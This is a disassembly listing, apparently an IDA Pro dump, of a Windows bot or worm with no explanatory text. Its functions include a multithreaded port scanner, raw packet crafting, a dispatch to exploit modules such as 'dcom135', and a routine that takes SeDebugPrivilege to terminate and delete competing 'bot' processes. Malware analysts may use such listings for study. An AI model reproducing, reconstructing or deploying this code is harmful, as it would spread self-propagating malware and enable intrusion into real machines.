mov [ebp+var_110], eax push [ebp+arg_4] call dword_426424 ; ntohs mov [ebp+var_112], ax lea eax, [ebp+var_124] push eax push 8004667Eh push [ebp+var_128] call dword_4264BC ; ioctlsocket push 10h lea eax, [ebp+var_114] push eax push [ebp+var_128] call dword_4263D8 ; connect mov eax, [ebp+arg_8] mov [ebp+var_120], eax and [ebp+var_11C], 0 and [ebp+var_104], 0 loc_405404: ; CODE XREF: sub_405369+113j and [ebp+var_12C], 0 jmp short loc_40541A ; --------------------------------------------------------------------------- loc_40540D: ; CODE XREF: sub_405369:loc_40543Fj mov eax, [ebp+var_12C] inc eax mov [ebp+var_12C], eax loc_40541A: ; CODE XREF: sub_405369+A2j mov eax, [ebp+var_12C] cmp eax, [ebp+var_104] jnb short loc_405441 mov eax, [ebp+var_12C] mov eax, [ebp+eax*4+var_100] cmp eax, [ebp+var_128] jnz short loc_40543F jmp short loc_405441 ; --------------------------------------------------------------------------- loc_40543F: ; CODE XREF: sub_405369+D2j jmp short loc_40540D ; --------------------------------------------------------------------------- loc_405441: ; CODE XREF: sub_405369+BDj ; sub_405369+D4j mov eax, [ebp+var_12C] cmp eax, [ebp+var_104] jnz short loc_405478 cmp [ebp+var_104], 40h jnb short loc_405478 mov eax, [ebp+var_12C] mov ecx, [ebp+var_128] mov [ebp+eax*4+var_100], ecx mov eax, [ebp+var_104] inc eax mov [ebp+var_104], eax loc_405478: ; CODE XREF: sub_405369+E4j ; sub_405369+EDj xor eax, eax test eax, eax jnz short loc_405404 lea eax, [ebp+var_120] push eax push 0 lea eax, [ebp+var_104] push eax push 0 push 0 call dword_426410 ; select mov [ebp+var_118], eax push [ebp+var_128] call dword_4264B8 ; closesocket cmp [ebp+var_118], 0 jg short loc_4054B7 xor eax, eax jmp short locret_4054BA ; --------------------------------------------------------------------------- loc_4054B7: ; CODE XREF: sub_405369+148j push 1 pop eax locret_4054BA: ; CODE XREF: sub_405369+30j ; sub_405369+14Cj leave retn sub_405369 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1011Ch call __alloca_probe mov word ptr [ebp-10044h], 2649h push dword ptr [ebp-10044h] call dword_426424 ; ntohs mov [ebp-100F8h], ax push dword ptr [ebp+10h] call dword_426424 ; ntohs mov [ebp-100F6h], ax call _rand mov [ebp-100F4h], eax and dword ptr [ebp-100F0h], 0 and word ptr [ebp-100ECh], 0 and word ptr [ebp-100DCh], 0 mov word ptr [ebp-100EAh], 5 and word ptr [ebp-100E8h], 0 mov word ptr [ebp-100E6h], 1 and word ptr [ebp-100E4h], 0 and word ptr [ebp-100E2h], 0 and word ptr [ebp-100E0h], 0 and word ptr [ebp-100DEh], 0 push 200h call dword_426424 ; ntohs mov [ebp-100DAh], ax and word ptr [ebp-100D8h], 0 and word ptr [ebp-100D6h], 0 mov eax, [ebp+8] mov [ebp-1011Ch], eax mov eax, [ebp+0Ch] mov [ebp-10118h], eax and byte ptr [ebp-10114h], 0 mov byte ptr [ebp-10113h], 6 push 24h call dword_426424 ; ntohs mov [ebp-10112h], ax push 24h lea eax, [ebp-100F8h] push eax lea eax, [ebp-10110h] push eax call _memcpy add esp, 0Ch push 20h lea eax, [ebp-1011Ch] push eax call sub_40898A pop ecx pop ecx mov [ebp-100D8h], ax push 10h push 0 lea eax, [ebp-100D4h] push eax call _memset add esp, 0Ch mov word ptr [ebp-100D4h], 2 push dword ptr [ebp+10h] call dword_426424 ; ntohs mov [ebp-100D2h], ax mov eax, [ebp+0Ch] mov [ebp-100D0h], eax mov dword ptr [ebp-100FCh], 10h push 6 push 3 push 2 call dword_4264A0 ; socket mov [ebp-10040h], eax cmp dword ptr [ebp-10040h], 0FFFFFFFFh jnz short loc_40563D push offset aSocketOpenFail ; "socket open failed" call sub_40913D pop ecx xor eax, eax jmp locret_405757 ; --------------------------------------------------------------------------- loc_40563D: ; CODE XREF: .text:00405629j push dword ptr [ebp-100FCh] lea eax, [ebp-100D4h] push eax push 0 push 24h lea eax, [ebp-100F8h] push eax push dword ptr [ebp-10040h] call dword_426484 ; sendto mov [ebp-1003Ch], eax cmp dword ptr [ebp-1003Ch], 14h jz short loc_4056B1 call dword_4263C8 ; WSAGetLastError push eax push dword ptr [ebp-1003Ch] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... lea eax, [ebp-100C4h] push eax call _sprintf add esp, 10h lea eax, [ebp-100C4h] push eax call sub_40913D pop ecx push dword ptr [ebp-10040h] call dword_4264B8 ; closesocket xor eax, eax jmp locret_405757 ; --------------------------------------------------------------------------- loc_4056B1: ; CODE XREF: .text:0040566Ej push 10038h push 0 lea eax, [ebp-10038h] push eax call _memset add esp, 0Ch loc_4056C7: ; CODE XREF: .text:loc_405720j movzx eax, word ptr [ebp-10022h] movzx ecx, word ptr [ebp-10044h] cmp eax, ecx jz short loc_405722 lea eax, [ebp-100FCh] push eax lea eax, [ebp-100D4h] push eax push 0 push 10038h lea eax, [ebp-10038h] push eax push dword ptr [ebp-10040h] call dword_426400 ; recvfrom test eax, eax jge short loc_405720 push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_40913D pop ecx push dword ptr [ebp-10040h] call dword_4264B8 ; closesocket xor eax, eax jmp short locret_405757 ; --------------------------------------------------------------------------- loc_405720: ; CODE XREF: .text:00405703j jmp short loc_4056C7 ; --------------------------------------------------------------------------- loc_405722: ; CODE XREF: .text:004056D7j push dword ptr [ebp-10040h] call dword_4264B8 ; closesocket movzx eax, word ptr [ebp-10012h] cmp eax, 1 jnz short loc_40574A push offset aSocketOpen_ ; "Socket open." call sub_40913D pop ecx push 1 pop eax jmp short locret_405757 ; --------------------------------------------------------------------------- loc_40574A: ; CODE XREF: .text:00405738j push offset aSocketClosed_ ; "Socket closed." call sub_40913D pop ecx xor eax, eax locret_405757: ; CODE XREF: .text:00405638j ; .text:004056ACj ... leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; DWORD __stdcall sub_405759(LPVOID) sub_405759 proc near ; DATA XREF: sub_405A2E+16Eo var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_288 = byte ptr -288h var_208 = byte ptr -208h var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1E0 = dword ptr -1E0h var_1DC = dword ptr -1DCh Dest = byte ptr -1D8h var_158 = dword ptr -158h var_154 = dword ptr -154h Src = byte ptr -150h var_140 = byte ptr -140h Format = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch push esi push edi mov esi, [ebp+arg_0] push 53h pop ecx lea edi, [ebp+Src] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_2C] mov [ebp+var_1DC], eax mov eax, [ebp+var_28] mov [ebp+var_154], eax call ds:GetTickCount ; GetTickCount push eax call sub_412333 pop ecx loc_4057A4: ; CODE XREF: sub_405759+2B6j mov eax, [ebp+var_1DC] imul eax, 234h mov eax, dword_42B544[eax] cmp dword_424A04[eax*8], 0 jz loc_405A14 cmp [ebp+var_10], 0 jz short loc_4057F2 mov eax, [ebp+var_1DC] imul eax, 234h push dword_42B544[eax] ; int lea eax, [ebp+Src] push eax ; Src call sub_4052B5 pop ecx pop ecx mov [ebp+var_1E0], eax jmp short loc_405810 ; --------------------------------------------------------------------------- loc_4057F2: ; CODE XREF: sub_405759+6Fj mov eax, [ebp+var_1DC] imul eax, 234h push dword_42B544[eax] call sub_405254 pop ecx mov [ebp+var_1E0], eax loc_405810: ; CODE XREF: sub_405759+97j mov eax, [ebp+var_1E0] mov [ebp+var_158], eax push [ebp+var_154] mov eax, [ebp+var_1DC] imul eax, 234h push dword_42B544[eax] push [ebp+var_3C] push [ebp+var_158] call dword_4264AC ; inet_ntoa push eax push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 18h lea eax, [ebp+Dest] push eax ; Format mov eax, [ebp+var_1DC] imul eax, 234h add eax, offset byte_42B340 push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+var_38] push [ebp+var_3C] push [ebp+var_1E0] call sub_405369 add esp, 0Ch cmp eax, 1 jnz loc_405A04 cmp [ebp+var_20], 0FFFFFFFFh jnz loc_40593A push offset CriticalSection ; lpCriticalSection call ds:EnterCriticalSection push [ebp+var_3C] push [ebp+var_158] call dword_4264AC ; inet_ntoa push eax push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40591D movsx eax, [ebp+Format] test eax, eax jz short loc_4058FF push 0 push [ebp+var_18] lea eax, [ebp+Dest] push eax lea eax, [ebp+Format] push eax push [ebp+var_40] call sub_40A08D add esp, 14h jmp short loc_40591D ; --------------------------------------------------------------------------- loc_4058FF: ; CODE XREF: sub_405759+184j push 0 push [ebp+var_18] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_140] push eax push [ebp+var_40] call sub_40A08D add esp, 14h loc_40591D: ; CODE XREF: sub_405759+179j ; sub_405759+1A4j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push offset CriticalSection ; lpCriticalSection call ds:LeaveCriticalSection jmp loc_405A04 ; --------------------------------------------------------------------------- loc_40593A: ; CODE XREF: sub_405759+140j push [ebp+var_158] call dword_4264AC ; inet_ntoa push eax ; Format lea eax, [ebp+var_298] push eax ; Dest call _sprintf pop ecx pop ecx mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aDcom135_0 ; "dcom135" push eax ; Format lea eax, [ebp+var_208] push eax ; Dest call _sprintf pop ecx pop ecx movsx eax, [ebp+Format] test eax, eax jz short loc_405991 lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+var_288] push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_4059A6 ; --------------------------------------------------------------------------- loc_405991: ; CODE XREF: sub_405759+21Fj lea eax, [ebp+var_140] push eax ; Format lea eax, [ebp+var_288] push eax ; Dest call _sprintf pop ecx pop ecx loc_4059A6: ; CODE XREF: sub_405759+236j mov eax, [ebp+var_40] mov [ebp+var_29C], eax mov eax, [ebp+var_18] mov [ebp+var_1EC], eax mov eax, [ebp+var_14] mov [ebp+var_1E8], eax mov eax, [ebp+var_3C] mov [ebp+var_1FC], eax mov eax, [ebp+var_1DC] mov [ebp+var_1F8], eax mov eax, [ebp+var_20] mov [ebp+var_1F4], eax sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+var_29C] mov edi, esp rep movsd mov eax, [ebp+var_20] imul eax, 3Ch call off_41ED9C[eax] add esp, 0BCh loc_405A04: ; CODE XREF: sub_405759+136j ; sub_405759+1DCj push 7D0h ; dwMilliseconds call ds:Sleep ; Sleep jmp loc_4057A4 ; --------------------------------------------------------------------------- loc_405A14: ; CODE XREF: sub_405759+65j push [ebp+var_1DC] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread sub_405759 endp ; --------------------------------------------------------------------------- pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_405A2E(LPVOID) sub_405A2E proc near ; DATA XREF: sub_40ABFE+2CB6o ; sub_40ABFE+4873o Source = byte ptr -1D8h var_158 = dword ptr -158h var_154 = dword ptr -154h Parameter = byte ptr -150h var_140 = byte ptr -140h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1D8h push esi push edi mov esi, [ebp+arg_0] push 53h pop ecx lea edi, [ebp+Parameter] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [eax+144h], 1 lea eax, [ebp+Parameter] push eax call dword_426460 ; inet_addr mov ecx, [ebp+var_30] mov dword_424A00[ecx*8], eax sub esp, 14Ch push 53h pop ecx lea esi, [ebp+Parameter] mov edi, esp rep movsd call sub_404F31 add esp, 14Ch push 8 call sub_4105E0 pop ecx cmp eax, 1 jnz short loc_405B06 push offset CriticalSection ; lpCriticalSection call ds:DeleteCriticalSection push 80000400h ; dwSpinCount push offset CriticalSection ; lpCriticalSection call ds:InitializeCriticalSectionAndSpinCount ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_405B06 push offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical s"... lea eax, [ebp+Source] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_14], 0 jnz short loc_405AF2 push 0 push [ebp+var_18] lea eax, [ebp+Source] push eax lea eax, [ebp+var_140] push eax push [ebp+var_40] call sub_40A08D add esp, 14h loc_405AF2: ; CODE XREF: sub_405A2E+A4j lea eax, [ebp+Source] push eax call sub_40913D pop ecx xor eax, eax jmp loc_405CEC ; --------------------------------------------------------------------------- loc_405B06: ; CODE XREF: sub_405A2E+6Cj ; sub_405A2E+8Bj mov eax, [ebp+var_30] mov dword_424A04[eax*8], 1 mov [ebp+var_158], 1 jmp short loc_405B2D ; --------------------------------------------------------------------------- loc_405B20: ; CODE XREF: sub_405A2E+1E0j mov eax, [ebp+var_158] inc eax mov [ebp+var_158], eax loc_405B2D: ; CODE XREF: sub_405A2E+F0j mov eax, [ebp+var_158] cmp eax, [ebp+var_24] ja loc_405C13 mov eax, [ebp+var_158] mov [ebp+var_28], eax push [ebp+var_28] push [ebp+var_30] push [ebp+var_3C] lea eax, [ebp+Parameter] push eax push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... lea eax, [ebp+Source] push eax ; Dest call _sprintf add esp, 18h push 0 ; int push 8 ; int lea eax, [ebp+Source] push eax ; Source call sub_410231 add esp, 0Ch mov [ebp+var_2C], eax mov eax, [ebp+var_2C] imul eax, 234h mov ecx, [ebp+var_30] mov dword_42B544[eax], ecx push 0 ; lpThreadId push 0 ; dwCreationFlags lea eax, [ebp+Parameter] push eax ; lpParameter push offset sub_405759 ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, [ebp+var_2C] imul ecx, 234h mov dword_42B554[ecx], eax mov eax, [ebp+var_2C] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_405BDE loc_405BCC: ; CODE XREF: sub_405A2E+1ACj cmp [ebp+var_8], 0 jnz short loc_405BDC push 1Eh ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_405BCC ; --------------------------------------------------------------------------- loc_405BDC: ; CODE XREF: sub_405A2E+1A2j jmp short loc_405C06 ; --------------------------------------------------------------------------- loc_405BDE: ; CODE XREF: sub_405A2E+19Cj call ds:GetLastError push eax push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... lea eax, [ebp+Source] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Source] push eax call sub_40913D pop ecx loc_405C06: ; CODE XREF: sub_405A2E:loc_405BDCj push 1Eh ; dwMilliseconds call ds:Sleep ; Sleep jmp loc_405B20 ; --------------------------------------------------------------------------- loc_405C13: ; CODE XREF: sub_405A2E+108j cmp [ebp+var_34], 0 jz short loc_405C2B mov eax, [ebp+var_34] imul eax, 0EA60h push eax ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_405C45 ; --------------------------------------------------------------------------- loc_405C2B: ; CODE XREF: sub_405A2E+1E9j ; sub_405A2E+215j mov eax, [ebp+var_30] cmp dword_424A04[eax*8], 1 jnz short loc_405C45 push 7D0h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_405C2B ; --------------------------------------------------------------------------- loc_405C45: ; CODE XREF: sub_405A2E+1FBj ; sub_405A2E+208j mov eax, [ebp+var_30] mov eax, dword_424A00[eax*8] mov [ebp+var_154], eax push [ebp+var_34] push [ebp+var_3C] push [ebp+var_154] call dword_4264AC ; inet_ntoa push eax push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... lea eax, [ebp+Source] push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_14], 0 jnz short loc_405CA0 push 0 push [ebp+var_18] lea eax, [ebp+Source] push eax lea eax, [ebp+var_140] push eax push [ebp+var_40] call sub_40A08D add esp, 14h loc_405CA0: ; CODE XREF: sub_405A2E+252j lea eax, [ebp+Source] push eax call sub_40913D pop ecx mov eax, [ebp+var_30] and dword_424A04[eax*8], 0 push 0BB8h ; dwMilliseconds call ds:Sleep ; Sleep push 8 call sub_4105E0 pop ecx cmp eax, 1 jnz short loc_405CDB push offset CriticalSection ; lpCriticalSection call ds:DeleteCriticalSection loc_405CDB: ; CODE XREF: sub_405A2E+2A0j push [ebp+var_30] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread ; --------------------------------------------------------------------------- loc_405CEC: ; CODE XREF: sub_405A2E+D3j pop edi pop esi leave retn 4 sub_405A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CF2 proc near ; CODE XREF: sub_405D52+167p ; sub_405D52+38Bp Dest = byte ptr -248h hFindFile = dword ptr -144h FindFileData = _WIN32_FIND_DATAA ptr -140h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 248h push [ebp+arg_0] push [ebp+arg_4] push offset aSS_2 ; "%s\\%s" push 104h ; Count lea eax, [ebp+Dest] push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+FindFileData] push eax ; lpFindFileData lea eax, [ebp+Dest] push eax ; lpFileName call ds:FindFirstFileA ; FindFirstFileA mov [ebp+hFindFile], eax cmp [ebp+hFindFile], 0FFFFFFFFh jz short loc_405D42 push 1 pop eax jmp short locret_405D50 ; --------------------------------------------------------------------------- loc_405D42: ; CODE XREF: sub_405CF2+49j push [ebp+hFindFile] ; hFindFile call ds:FindClose ; FindClose xor eax, eax locret_405D50: ; CODE XREF: sub_405CF2+4Ej leave retn sub_405CF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; DWORD __stdcall sub_405D52(LPVOID) sub_405D52 proc near ; DATA XREF: sub_40A776+198o ; sub_40ABFE+255Do var_898 = dword ptr -898h var_894 = dword ptr -894h var_890 = dword ptr -890h var_88C = dword ptr -88Ch dwMilliseconds = dword ptr -888h var_884 = dword ptr -884h var_880 = dword ptr -880h var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_874 = byte ptr -874h Buffer = byte ptr -654h FileName = byte ptr -550h Dest = byte ptr -44Ch var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = byte ptr -234h dwProcessId = dword ptr -230h String1 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch hObject = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 898h push esi push edi mov esi, [ebp+arg_0] lea edi, [ebp+var_24C] movsd movsd movsd movsd mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+var_C] mov dword ptr [eax+0Ch], 1 and [ebp+var_238], 0 push 49h pop ecx xor eax, eax lea edi, [ebp+var_234] rep stosd and [ebp+var_878], 0 mov ecx, 88h xor eax, eax lea edi, [ebp+var_874] rep stosd push 104h ; uSize lea eax, [ebp+Buffer] push eax ; lpBuffer call ds:GetSystemDirectoryA ; GetSystemDirectoryA push 104h ; uSize lea eax, [ebp+var_110] push eax ; lpBuffer call ds:GetWindowsDirectoryA ; GetWindowsDirectoryA cmp dword_421D24, 0 jz short loc_405DE3 mov eax, dword_421D28 imul eax, 3E8h push eax ; dwMilliseconds call ds:Sleep ; Sleep loc_405DE3: ; CODE XREF: sub_405D52+7Dj mov [ebp+var_4], 1 loc_405DEA: ; CODE XREF: sub_405D52:loc_406330j cmp [ebp+var_4], 0 jz loc_406335 cmp dword_426444, 0 jz loc_40630F cmp dword_426428, 0 jz loc_40630F cmp dword_42636C, 0 jz loc_40630F push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40F515 pop ecx pop ecx push 0 push 0Fh call dword_426444 ; CreateToolhelp32Snapshot mov [ebp+var_23C], eax cmp [ebp+var_23C], 0FFFFFFFFh jz loc_406301 mov [ebp+var_238], 128h lea eax, [ebp+var_238] push eax push [ebp+var_23C] call dword_426428 ; Process32First test eax, eax jz loc_4062F5 loc_405E6B: ; CODE XREF: sub_405D52:loc_4062F0j lea eax, [ebp+var_238] push eax push [ebp+var_23C] call dword_42636C ; Process32Next test eax, eax jz loc_4062F5 push 0C8h ; dwMilliseconds call ds:Sleep ; Sleep push offset String2 ; "Nrzi.exe" lea eax, [ebp+String1] push eax ; lpString1 call ds:lstrcmpiA ; lstrcmpiA test eax, eax jz loc_4062F0 lea eax, [ebp+Buffer] push eax lea eax, [ebp+String1] push eax call sub_405CF2 pop ecx pop ecx test eax, eax jz loc_4060CF cmp dword_421D34, 0 jz loc_4060CF and [ebp+var_880], 0 and [ebp+var_87C], 0 jmp short loc_405EF2 ; --------------------------------------------------------------------------- loc_405EE5: ; CODE XREF: sub_405D52:loc_405F29j mov eax, [ebp+var_87C] inc eax mov [ebp+var_87C], eax loc_405EF2: ; CODE XREF: sub_405D52+191j cmp [ebp+var_87C], 158h jnb short loc_405F2B mov eax, [ebp+var_87C] push lpString2[eax*4] ; lpString2 lea eax, [ebp+String1] push eax ; lpString1 call ds:lstrcmpiA ; lstrcmpiA test eax, eax jnz short loc_405F29 mov eax, [ebp+var_880] inc eax mov [ebp+var_880], eax loc_405F29: ; CODE XREF: sub_405D52+1C8j jmp short loc_405EE5 ; --------------------------------------------------------------------------- loc_405F2B: ; CODE XREF: sub_405D52+1AAj cmp [ebp+var_880], 0 jnz loc_4060CF push [ebp+dwProcessId] ; dwProcessId push 0 ; bInheritHandle push 1F0FFFh ; dwDesiredAccess call ds:OpenProcess ; OpenProcess mov [ebp+hObject], eax cmp [ebp+hObject], 0 jz loc_4060CF push 0 ; uExitCode push [ebp+hObject] ; hProcess call ds:TerminateProcess ; TerminateProcess test eax, eax jnz short loc_405FC5 push [ebp+dwProcessId] lea eax, [ebp+String1] push eax push offset aErrorTerminati ; "Error terminating: %s (pid: %d)!" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h push 0 push [ebp+var_244] lea eax, [ebp+Dest] push eax push offset aExp_0 ; "#!exp!#" push [ebp+var_24C] call sub_40A08D add esp, 14h lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle jmp loc_4060CF ; --------------------------------------------------------------------------- loc_405FC5: ; CODE XREF: sub_405D52+213j push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle lea eax, [ebp+String1] push eax lea eax, [ebp+Buffer] push eax push offset aSS_3 ; "%s\\%s" lea eax, [ebp+FileName] push eax ; Dest call _sprintf add esp, 10h and [ebp+var_884], 0 push 80h ; dwFileAttributes lea eax, [ebp+FileName] push eax ; lpFileName call ds:SetFileAttributesA ; SetFileAttributesA and [ebp+dwMilliseconds], 0 jmp short loc_40601F ; --------------------------------------------------------------------------- loc_406012: ; CODE XREF: sub_405D52:loc_406051j mov eax, [ebp+dwMilliseconds] inc eax mov [ebp+dwMilliseconds], eax loc_40601F: ; CODE XREF: sub_405D52+2BEj cmp [ebp+dwMilliseconds], 64h jge short loc_406053 push [ebp+dwMilliseconds] ; dwMilliseconds call ds:Sleep ; Sleep lea eax, [ebp+FileName] push eax ; lpFileName call ds:DeleteFileA ; DeleteFileA test eax, eax jz short loc_406051 mov [ebp+var_884], 1 jmp short loc_406053 ; --------------------------------------------------------------------------- loc_406051: ; CODE XREF: sub_405D52+2F1j jmp short loc_406012 ; --------------------------------------------------------------------------- loc_406053: ; CODE XREF: sub_405D52+2D4j ; sub_405D52+2FDj cmp [ebp+var_884], 0 jz short loc_40607F push [ebp+dwProcessId] lea eax, [ebp+FileName] push eax push offset aBotKilledAndRe ; "Bot killed and removed: %s (pid: %d)!" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h jmp short loc_4060A0 ; --------------------------------------------------------------------------- loc_40607F: ; CODE XREF: sub_405D52+308j push [ebp+dwProcessId] lea eax, [ebp+FileName] push eax push offset aCanNotDeleteSP ; "Can not delete: %s (pid: %d)!" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h loc_4060A0: ; CODE XREF: sub_405D52+32Bj push 0 push [ebp+var_244] lea eax, [ebp+Dest] push eax push offset aExp_0 ; "#!exp!#" push [ebp+var_24C] call sub_40A08D add esp, 14h lea eax, [ebp+Dest] push eax call sub_40913D pop ecx loc_4060CF: ; CODE XREF: sub_405D52+170j ; sub_405D52+17Dj ... lea eax, [ebp+var_110] push eax lea eax, [ebp+String1] push eax call sub_405CF2 pop ecx pop ecx test eax, eax jz loc_4062F0 cmp dword_421D38, 0 jz loc_4062F0 and [ebp+var_890], 0 and [ebp+var_88C], 0 jmp short loc_406116 ; --------------------------------------------------------------------------- loc_406109: ; CODE XREF: sub_405D52:loc_40614Aj mov eax, [ebp+var_88C] inc eax mov [ebp+var_88C], eax loc_406116: ; CODE XREF: sub_405D52+3B5j cmp [ebp+var_88C], 13h jnb short loc_40614C mov eax, [ebp+var_88C] push off_41F6AC[eax*4] ; lpString2 lea eax, [ebp+String1] push eax ; lpString1 call ds:lstrcmpiA ; lstrcmpiA test eax, eax jnz short loc_40614A mov eax, [ebp+var_890] inc eax mov [ebp+var_890], eax loc_40614A: ; CODE XREF: sub_405D52+3E9j jmp short loc_406109 ; --------------------------------------------------------------------------- loc_40614C: ; CODE XREF: sub_405D52+3CBj cmp [ebp+var_890], 0 jnz loc_4062F0 push [ebp+dwProcessId] ; dwProcessId push 0 ; bInheritHandle push 1F0FFFh ; dwDesiredAccess call ds:OpenProcess ; OpenProcess mov [ebp+hObject], eax cmp [ebp+hObject], 0 jz loc_4062F0 push 0 ; uExitCode push [ebp+hObject] ; hProcess call ds:TerminateProcess ; TerminateProcess test eax, eax jnz short loc_4061E6 push [ebp+dwProcessId] lea eax, [ebp+String1] push eax push offset aErrorTermina_0 ; "Error terminating: %s (pid: %d)!" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h push 0 push [ebp+var_244] lea eax, [ebp+Dest] push eax push offset aExp_0 ; "#!exp!#" push [ebp+var_24C] call sub_40A08D add esp, 14h lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle jmp loc_4062F0 ; --------------------------------------------------------------------------- loc_4061E6: ; CODE XREF: sub_405D52+434j push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle lea eax, [ebp+String1] push eax lea eax, [ebp+var_110] push eax push offset aSS_4 ; "%s\\%s" lea eax, [ebp+FileName] push eax ; Dest call _sprintf add esp, 10h and [ebp+var_894], 0 push 80h ; dwFileAttributes lea eax, [ebp+FileName] push eax ; lpFileName call ds:SetFileAttributesA ; SetFileAttributesA and [ebp+var_898], 0 jmp short loc_406240 ; --------------------------------------------------------------------------- loc_406233: ; CODE XREF: sub_405D52:loc_406272j mov eax, [ebp+var_898] inc eax mov [ebp+var_898], eax loc_406240: ; CODE XREF: sub_405D52+4DFj cmp [ebp+var_898], 64h jge short loc_406274 push [ebp+var_898] ; dwMilliseconds call ds:Sleep ; Sleep lea eax, [ebp+FileName] push eax ; lpFileName call ds:DeleteFileA ; DeleteFileA test eax, eax jz short loc_406272 mov [ebp+var_894], 1 jmp short loc_406274 ; --------------------------------------------------------------------------- loc_406272: ; CODE XREF: sub_405D52+512j jmp short loc_406233 ; --------------------------------------------------------------------------- loc_406274: ; CODE XREF: sub_405D52+4F5j ; sub_405D52+51Ej cmp [ebp+var_894], 0 jz short loc_4062A0 push [ebp+dwProcessId] lea eax, [ebp+FileName] push eax push offset aBotKilledAnd_0 ; "Bot killed and removed: %s (pid: %d)!" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h jmp short loc_4062C1 ; --------------------------------------------------------------------------- loc_4062A0: ; CODE XREF: sub_405D52+529j push [ebp+dwProcessId] lea eax, [ebp+FileName] push eax push offset aCanNotDelete_0 ; "Can not delete: %s (pid: %d)!" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h loc_4062C1: ; CODE XREF: sub_405D52+54Cj push 0 push [ebp+var_244] lea eax, [ebp+Dest] push eax push offset aExp_0 ; "#!exp!#" push [ebp+var_24C] call sub_40A08D add esp, 14h lea eax, [ebp+Dest] push eax call sub_40913D pop ecx loc_4062F0: ; CODE XREF: sub_405D52+153j ; sub_405D52+394j ... jmp loc_405E6B ; --------------------------------------------------------------------------- loc_4062F5: ; CODE XREF: sub_405D52+113j ; sub_405D52+12Ej push [ebp+var_23C] ; hObject call ds:CloseHandle ; CloseHandle loc_406301: ; CODE XREF: sub_405D52+EEj push 0 push offset aSedebugprivi_0 ; "SeDebugPrivilege" call sub_40F515 pop ecx pop ecx loc_40630F: ; CODE XREF: sub_405D52+A9j ; sub_405D52+B6j ... cmp dword_421D2C, 0 jz short loc_40632C 